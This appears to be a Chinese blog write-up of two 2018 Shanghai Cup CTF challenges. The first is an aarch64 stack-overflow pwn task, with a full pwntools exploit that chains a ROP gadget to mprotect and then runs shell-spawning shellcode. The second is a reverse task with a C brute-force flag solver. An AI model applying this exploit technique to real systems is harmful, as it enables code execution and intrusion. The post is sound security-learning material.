骑麦兜看落日

[WriteUp]上海杯

字数统计: 680阅读时长: 3 min
2018/11/04 Share

PWN


baby_arm


题目信息

Baby baby, take it easy.

nc 106.75.126.171 33865

Download


程序分析

1
2
3
4
5
6
7
8
$ file pwn 
pwn: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, for GNU/Linux 3.7.0, BuildID[sha1]=e988eaee79fd41139699d813eac0c375dbddba43, stripped
$ checksec pwn
Arch: aarch64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

解题过程

程序存在栈溢出,可以用ret2shellcode,由于bss段不可执行,需要先构造ROP链执行mprotect函数

难点在于不熟悉arm架构

调用mprotect函数需要三个参数,addr,size,prot,无论哪个参数都没办法直接调用,幸运的是arm架构同样存在万能gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.text:00000000004008AC loc_4008AC                              ; CODE XREF: sub_400868+60↓j
.text:00000000004008AC LDR X3, [X21,X19,LSL#3]
.text:00000000004008B0 MOV X2, X22
.text:00000000004008B4 MOV X1, X23
.text:00000000004008B8 MOV W0, W24
.text:00000000004008BC ADD X19, X19, #1
.text:00000000004008C0 BLR X3
.text:00000000004008C4 CMP X19, X20
.text:00000000004008C8 B.NE loc_4008AC
.text:00000000004008CC
.text:00000000004008CC loc_4008CC ; CODE XREF: sub_400868+3C↑j
.text:00000000004008CC LDP X19, X20, [SP,#var_s10]
.text:00000000004008D0 LDP X21, X22, [SP,#var_s20]
.text:00000000004008D4 LDP X23, X24, [SP,#var_s30]
.text:00000000004008D8 LDP X29, X30, [SP+var_s0],#0x40
.text:00000000004008DC RET

等同于

1
2
3
4
5
6
x19=[sp+0x10]
x20=[sp+0x18]
x3=x21=[sp+0x20]
x2=x22=[sp+0x28]
x1=x23=[sp+0x30]
x0=x24=[sp+0x38]

只要构造好堆栈就可以返回了


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python

from pwn import *

context(log_level = "debug",arch = "aarch64",os = "linux")

exe = 'pwn'
elf = ELF(exe)

io = process(['qemu-aarch64','-L','/usr/aarch64-linux-gnu','-g','2333',exe])

def gdb(script = ''):
attach(io,gdbscript = script)

bss = 0x411068
mprotect = 0x4007e0
gadget = 0x4008cc
gadgets = 0x4008ac

shellcode = p64(mprotect)
shellcode += asm(shellcraft.sh())

payload = ''
payload += 'A'*0x48
payload += p64(gadget)
payload += p64(gadgets)
payload += p64(gadgets)
payload += p64(0) #x19
payload += p64(0) #x20
payload += p64(bss) #x21=x3=bss
payload += p64(0x7) #x22=x2=prot
payload += p64(0x200) #x23=x1=size
payload += p64(bss) #x24=x0=addr
payload += p64(bss+0x8)
payload += p64(bss+0x8)

io.recvuntil('Name:')
io.sendline(shellcode)
io.sendline(payload)

io.interactive()

相关资料


Reverse


cpp


题目信息

Operator Overloading.

Download


解题过程

程序分两层加密,第一层在enc函数中,加密为

1
2
3
4
for(int i=0,i<length,++i)
{
input[i] = ((input[i]<<2)|(input[i]>>6))^i;
}

第二层在cmp函数中,加密为

1
2
3
4
5
6
7
for(int i=0,i<4,++i)
{
for(int r=1,r<length,++r)
{
enc[r+1] = ((enc[r]|enc[r+1])&(~(enc[r]&encs[r+1])));
}
}

直接写爆破脚本即可


dec

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include <stdio.h>

int main(int argc, char const *argv[])
{
char key[] = {0x99, 0xb0, 0x87, 0x9e, 0x70, 0xe8, 0x41, 0x44, 0x05, 0x04, 0x8b, 0x9a, 0x74, 0xbc, 0x55, 0x58, 0xb5, 0x61, 0x8e, 0x36, 0xac, 0x09, 0x59, 0xe5, 0x61, 0xdd, 0x3e, 0x3f, 0xb9, 0x15, 0xed, 0xd5};
char enc[0x20]={0};
char encs[0x20]={0};
char flag[0x21]={0};

for (int i = 0; i < 0x20; ++i)
{
for (int r = 0x20; r < 0x80; ++r)
{
char m = ((r<<2)|(r>>6))^i;
enc[i] = m;

for (int z = 0; z <= i; ++z)
{
encs[z] = enc[z];
}

for (int x = 0; x < 4; ++x)
{
for (int y = 0; y < i; ++y)
{
encs[y+1] = ((encs[y]|encs[y+1])&(~(encs[y]&encs[y+1])));
}
}
if(encs[i]==key[i])
{
flag[i] = r;
break;
}
}
}

printf("%s\n", flag);

return 0;
}
CATALOG
  1. 1. PWN
    1. 1.1. baby_arm
      1. 1.1.1. 题目信息
      2. 1.1.2. 程序分析
      3. 1.1.3. 解题过程
      4. 1.1.4. EXP
      5. 1.1.5. 相关资料
  2. 2. Reverse
    1. 2.1. cpp
      1. 2.1.1. 题目信息
      2. 2.1.2. 解题过程
      3. 2.1.3. dec